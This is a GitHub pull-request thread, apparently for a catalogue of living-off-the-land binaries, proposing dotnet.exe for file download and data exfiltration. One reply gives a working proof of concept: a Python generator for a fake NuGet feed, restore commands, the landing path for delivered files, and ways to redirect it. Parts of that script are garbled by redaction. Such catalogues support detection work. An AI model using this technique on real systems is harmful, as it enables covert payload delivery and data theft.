Add Download and Upload commands for dotnet.exe#495
Conversation
I found a new technique to download and upload files using dotnet.exe
wietze
left a comment
There was a problem hiding this comment.
Hey I have been trying to get this to work, but I feel like context is missing on how to weaponise this.
I believe you basically need to run your own NuGet server to even get it to talk - where are the NuGet packages downloaded to when successful?
I have been testing with:
dotnet.exe restore --source http://127.0.0.1:8000 --configfile nuget.config test.csprojIf you could provide a working example or a resource explaining how this may be abused, that would be helpful.
|
Hi Wietze,
Thanks for testing this, you're right that the PR was missing the context.
I've now reproduced the whole thing end to end with dotnet restore on a
clean .NET 8 SDK, so here's exactly how to make it work.
Why your test failed
…--source has to point at a real NuGet v3 service index (a JSON document),
not a plain HTTP file server. When you point it at http://127.0.0.1:8000, a
bare python -m http.server just returns an HTML directory listing, and
NuGet can't parse that as a feed, so restore bails before downloading
anything. That's what you hit.
The key point is that you don't need to run NuGet server software. A v3
feed is just static files, so any web server works once the layout is
correct.
Minimal working feed
Three files are enough (package IDs are lowercased in the paths):
feed/
├── index.json # the service index --source
points at
├── registration/evilpkg/index.json # lets NuGet resolve the version
└── flat/evilpkg/1.0.0/evilpkg.1.0.0.nupkg # the package (a .nupkg is
just a zip with a .nuspec)
One-shot generator:
import os, zipfile
HOST = "http://127.0.0.1:8000"
os.makedirs("feed/registration/evilpkg", exist_ok=True)
os.makedirs("feed/flat/evilpkg/1.0.0", exist_ok=True)
with open("feed/index.json", "w") as f:
f.write('{"version":"3.0.0","resources":['
***@***.******@***.***":"PackageBaseAddress/3.0.0"},'
***@***.******@***.***":"RegistrationsBaseUrl/3.0.0"}]}' %
(HOST, HOST))
with open("feed/registration/evilpkg/index.json", "w") as f:
f.write('{"count":1,"items":[{"count":1,"lower":"1.0.0","upper":"1.0.0","items":[{'
***@***.***":"%s/registration/evilpkg/1.0.0.json",'
'"packageContent":"%s/flat/evilpkg/1.0.0/evilpkg.1.0.0.nupkg",'
***@***.***":"%s/registration/evilpkg/1.0.0.json","id":"EvilPkg","version":"1.0.0",'
'"listed":true,"packageContent":"%s/flat/evilpkg/1.0.0/evilpkg.1.0.0.nupkg",'
'"dependencyGroups":[]}}]}]}' % (HOST, HOST, HOST, HOST))
nuspec = ('<?xml version="1.0"?><package xmlns="
http://schemas.microsoft.com/packaging/2013/05/nuspec.xsd">'
'<metadata><id>EvilPkg</id><version>1.0.0</version><authors>a</authors>'
'<description>poc</description></metadata></package>')
with zipfile.ZipFile("feed/flat/evilpkg/1.0.0/evilpkg.1.0.0.nupkg", "w") as
z:
z.writestr("EvilPkg.nuspec", nuspec)
z.writestr("payload/secret.txt", "delivered via dotnet restore over
HTTP\n")
Run it
# terminal 1, serve the feed
cd feed && python -m http.server 8000
# terminal 2, MyProj.csproj only needs <PackageReference Include="EvilPkg"
Version="1.0.0" />
dotnet restore --source http://127.0.0.1:8000/index.json MyProj.csproj
On my run (SDK 8.0.422) this returns Restored MyProj.csproj cleanly. NuGet
fetches registration/evilpkg/index.json to resolve the version, then
downloads evilpkg.1.0.0.nupkg from the flat container and extracts it.
Where the package lands
The global packages folder, by default
%USERPROFILE%\.nuget\packages\evilpkg\1.0.0\. After restore that folder
contained:
evilpkg.1.0.0.nupkg <- the raw package, cached
evilpkg.nuspec
payload/secret.txt <- "delivered via dotnet restore over HTTP"
(my embedded file, extracted to disk)
So any file you embed in the package ends up on disk, unpacked. The
destination is attacker-controllable via --packages <DIR>, the
NUGET_PACKAGES env var, or <globalPackagesFolder> in nuget.config.
One caveat worth noting in the entry
On .NET 8 the HTTP source only triggers a warning, and restore still
succeeds:
warning NU1803: You are running the 'restore' operation with an 'HTTP'
source ...
Non-HTTPS access will be removed in a future version.
Newer SDKs are stricter (some require allowInsecureConnections="true" in
nuget.config). Serving the feed over HTTPS avoids this entirely and is the
cleaner form. Happy to add an HTTPS example to the entry if you'd prefer
that as the documented command.
Best,
Noam Pomerantz
|
|
No need for the AI answer, I could have done that myself. It still doesn't really solve the problem that for someone seeing this entry, it being unclear how to use it, especially since it requires a special setup. It would be really helpful if there was a blog or even a GitHub gist explaining how to weaponise this. |
|
Feels less like a lolba more like a finding. I feel lolbas are supposed to be more accessible hence the "living off the land" part. Personally would consider this an lolba if it was using something like the default .net 4.8 installation which is installed on all windows from 10 - 11 IF Im remembering right. |
Added two new use cases for dotnet.exe: downloading files via dotnet restore and exfiltrating data via dotnet nuget push.